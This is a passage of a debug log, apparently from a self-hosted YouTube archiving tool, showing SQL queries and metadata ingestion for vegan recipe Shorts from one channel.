[1] 20:29:48.717 [debug] QUERY OK source="media_profiles" db=0.5ms idle=9.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:48.718 [debug] QUERY OK source="media_items" db=0.5ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [802] 20:29:48.718 [debug] Current batch of media processed. Will check again in 1000ms 20:29:49.719 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It's ok Jerry Seinfeld, salads can be healthy, delicious and even cool these days. Try our vegan and gluten free nicoise salad that's more than \"just a salad.\"\n\nFull Recipe Video: https://youtu.be/Ztps-dPnqW8", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-28 A salad that's more than "just a salad" as Jerry Seinfeld said it #shorts/A salad that's more than "just a salad" as Jerry Seinfeld said it #shorts [QXmocYRNUFc].NA", "id" => "QXmocYRNUFc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/QXmocYRNUFc", "playlist_index" => 414, "timestamp" => 1653780602, "title" => "A salad that's more than \"just a salad\" as Jerry Seinfeld said it #shorts", "upload_date" => "20220528"} 20:29:49.720 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:49.721 [debug] QUERY OK source="sources" db=0.5ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:49.723 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-28 23:30:02Z], 1] 20:29:49.725 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's ok Jerry Seinfeld, salads can be healthy, delicious and even cool these days. Try our vegan and gluten free nicoise salad that's more than \"just a salad.\"\n\nFull Recipe Video: https://youtu.be/Ztps-dPnqW8", "A salad that's more than \"just a salad\" as Jerry Seinfeld said it #shorts", "849c9346-ece9-45b9-938b-054439c0e44a", 1, [], 12, false, "QXmocYRNUFc", "https://www.youtube.com/shorts/QXmocYRNUFc", 414, "/downloads/downloads/alec/Steamy Vegan/2022-05-28 A salad that's more than "just a salad" as Jerry Seinfeld said it #shorts/A salad that's more than "just a salad" as Jerry Seinfeld said it #shorts [QXmocYRNUFc].NA", false, false, true, 0, ~U[2022-05-28 23:30:02Z], ~U[2026-03-22 03:29:49Z], ~U[2026-03-22 03:29:49Z], "It's ok Jerry Seinfeld, salads can be healthy, delicious and even cool these days. Try our vegan and gluten free nicoise salad that's more than \"just a salad.\"\n\nFull Recipe Video: https://youtu.be/Ztps-dPnqW8", "A salad that's more than \"just a salad\" as Jerry Seinfeld said it #shorts", 1, 12, false, "QXmocYRNUFc", "https://www.youtube.com/shorts/QXmocYRNUFc", "/downloads/downloads/alec/Steamy Vegan/2022-05-28 A salad that's more than "just a salad" as Jerry Seinfeld said it #shorts/A salad that's more than "just a salad" as Jerry Seinfeld said it #shorts [QXmocYRNUFc].NA", true, ~U[2022-05-28 23:30:02Z]] 20:29:49.726 [debug] QUERY OK source="sources" db=0.6ms idle=214.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:49.726 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:49.727 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [803] 20:29:49.727 [debug] Current batch of media processed. Will check again in 1000ms 20:29:50.728 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Just like Homer Simpson, I love making foods into simple grab and go bar form. Hopefully you find some of my vegan and gluten free foods that I've created a little more healthy then what Homer Simpson is eating.\n\nMy Protein Bars Recipe: https://youtu.be/ZjO06fyfHLc\nMy Breakfast Bars Recipe: https://youtu.be/rbG65z34oOI", "duration" => 23, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-28 Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts/Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts [HvlGsy4EeVQ].NA", "id" => "HvlGsy4EeVQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HvlGsy4EeVQ", "playlist_index" => 415, "timestamp" => 1653747300, "title" => "Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts", "upload_date" => "20220528"} 20:29:50.729 [debug] QUERY OK source="sources" db=0.5ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:50.730 [debug] QUERY OK source="sources" db=0.3ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:50.732 [debug] QUERY OK source="media_items" db=2.2ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-28 14:15:00Z], 1] 20:29:50.734 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Just like Homer Simpson, I love making foods into simple grab and go bar form. Hopefully you find some of my vegan and gluten free foods that I've created a little more healthy then what Homer Simpson is eating.\n\nMy Protein Bars Recipe: https://youtu.be/ZjO06fyfHLc\nMy Breakfast Bars Recipe: https://youtu.be/rbG65z34oOI", "Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts", "df5ea846-6e5b-4ac7-a194-eb5bef9c3d93", 1, [], 23, false, "HvlGsy4EeVQ", "https://www.youtube.com/shorts/HvlGsy4EeVQ", 415, "/downloads/downloads/alec/Steamy Vegan/2022-05-28 Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts/Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts [HvlGsy4EeVQ].NA", false, false, true, 1, ~U[2022-05-28 14:15:00Z], ~U[2026-03-22 03:29:50Z], ~U[2026-03-22 03:29:50Z], "Just like Homer Simpson, I love making foods into simple grab and go bar form. Hopefully you find some of my vegan and gluten free foods that I've created a little more healthy then what Homer Simpson is eating.\n\nMy Protein Bars Recipe: https://youtu.be/ZjO06fyfHLc\nMy Breakfast Bars Recipe: https://youtu.be/rbG65z34oOI", "Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts", 1, 23, false, "HvlGsy4EeVQ", "https://www.youtube.com/shorts/HvlGsy4EeVQ", "/downloads/downloads/alec/Steamy Vegan/2022-05-28 Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts/Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts [HvlGsy4EeVQ].NA", true, ~U[2022-05-28 14:15:00Z]] 20:29:50.734 [debug] QUERY OK source="sources" db=0.3ms idle=221.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:50.735 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:50.735 [debug] QUERY OK source="media_items" db=0.3ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [804] 20:29:50.736 [debug] Current batch of media processed. Will check again in 1000ms 20:29:51.737 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Full Recipe Video: https://youtu.be/c6Y4Z2y_j8A\n\nThis easy vegan and gluten-free pasta is an absolute must try, especially in the spring or summer. If you get yourself some chickpea or soybean pasta noodles you'll also give this pasta an extra protein boost.\n\nDon't forget to subscribe for more daily, easy, vegan and gluten free recipes!!!", "duration" => 31, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts/Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts [cRBlvuzgV6o].NA", "id" => "cRBlvuzgV6o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/cRBlvuzgV6o", "playlist_index" => 416, "timestamp" => 1653695101, "title" => "Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts", "upload_date" => "20220527"} 20:29:51.738 [debug] QUERY OK source="sources" db=0.7ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:51.739 [debug] QUERY OK source="sources" db=1.0ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:51.742 [debug] QUERY OK source="media_items" db=2.0ms idle=1004.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-27 23:45:01Z], 1] 20:29:51.743 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full Recipe Video: https://youtu.be/c6Y4Z2y_j8A\n\nThis easy vegan and gluten-free pasta is an absolute must try, especially in the spring or summer. If you get yourself some chickpea or soybean pasta noodles you'll also give this pasta an extra protein boost.\n\nDon't forget to subscribe for more daily, easy, vegan and gluten free recipes!!!", "Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts", "6d2175a4-7026-4a07-9235-e8142df5060a", 1, [], 31, false, "cRBlvuzgV6o", "https://www.youtube.com/shorts/cRBlvuzgV6o", 416, "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts/Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts [cRBlvuzgV6o].NA", false, false, true, 0, ~U[2022-05-27 23:45:01Z], ~U[2026-03-22 03:29:51Z], ~U[2026-03-22 03:29:51Z], "Full Recipe Video: https://youtu.be/c6Y4Z2y_j8A\n\nThis easy vegan and gluten-free pasta is an absolute must try, especially in the spring or summer. If you get yourself some chickpea or soybean pasta noodles you'll also give this pasta an extra protein boost.\n\nDon't forget to subscribe for more daily, easy, vegan and gluten free recipes!!!", "Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts", 1, 31, false, "cRBlvuzgV6o", "https://www.youtube.com/shorts/cRBlvuzgV6o", "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts/Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts [cRBlvuzgV6o].NA", true, ~U[2022-05-27 23:45:01Z]] 20:29:51.744 [debug] QUERY OK source="sources" db=0.2ms idle=227.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:51.744 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:51.746 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [805] 20:29:51.746 [debug] Current batch of media processed. Will check again in 1000ms 20:29:52.747 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This vegan and gluten free recipe is inspired by everyone's favorite indian butter chicken dish. Using many of the spices found in butter chicken, I was able to use chickpeas and coconut rice to make something absolutely delicious. I eat this as part of my vegan and gluten free diet at least once every 2 weeks.\n\nFull Video Here: https://youtu.be/bLLYMaH7l4o", "duration" => 38, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts/Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts [St8suRJ0u4s].NA", "id" => "St8suRJ0u4s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/St8suRJ0u4s", "playlist_index" => 417, "timestamp" => 1653678007, "title" => "Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts", "upload_date" => "20220527"} 20:29:52.748 [debug] QUERY OK source="sources" db=0.4ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:52.748 [debug] QUERY OK source="sources" db=0.3ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:52.750 [debug] QUERY OK source="media_items" db=1.8ms idle=1004.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-27 19:00:07Z], 1] 20:29:52.752 [debug] QUERY OK source="media_items" db=1.2ms idle=1005.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and gluten free recipe is inspired by everyone's favorite indian butter chicken dish. Using many of the spices found in butter chicken, I was able to use chickpeas and coconut rice to make something absolutely delicious. I eat this as part of my vegan and gluten free diet at least once every 2 weeks.\n\nFull Video Here: https://youtu.be/bLLYMaH7l4o", "Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts", "3f7645e7-e7cd-42d4-bdd2-69f01414fa71", 1, [], 38, false, "St8suRJ0u4s", "https://www.youtube.com/shorts/St8suRJ0u4s", 417, "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts/Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts [St8suRJ0u4s].NA", false, false, true, 1, ~U[2022-05-27 19:00:07Z], ~U[2026-03-22 03:29:52Z], ~U[2026-03-22 03:29:52Z], "This vegan and gluten free recipe is inspired by everyone's favorite indian butter chicken dish. Using many of the spices found in butter chicken, I was able to use chickpeas and coconut rice to make something absolutely delicious. I eat this as part of my vegan and gluten free diet at least once every 2 weeks.\n\nFull Video Here: https://youtu.be/bLLYMaH7l4o", "Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts", 1, 38, false, "St8suRJ0u4s", "https://www.youtube.com/shorts/St8suRJ0u4s", "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts/Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts [St8suRJ0u4s].NA", true, ~U[2022-05-27 19:00:07Z]] 20:29:52.753 [debug] QUERY OK source="sources" db=0.5ms idle=235.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:52.754 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=5.3ms SELECT m0."id", 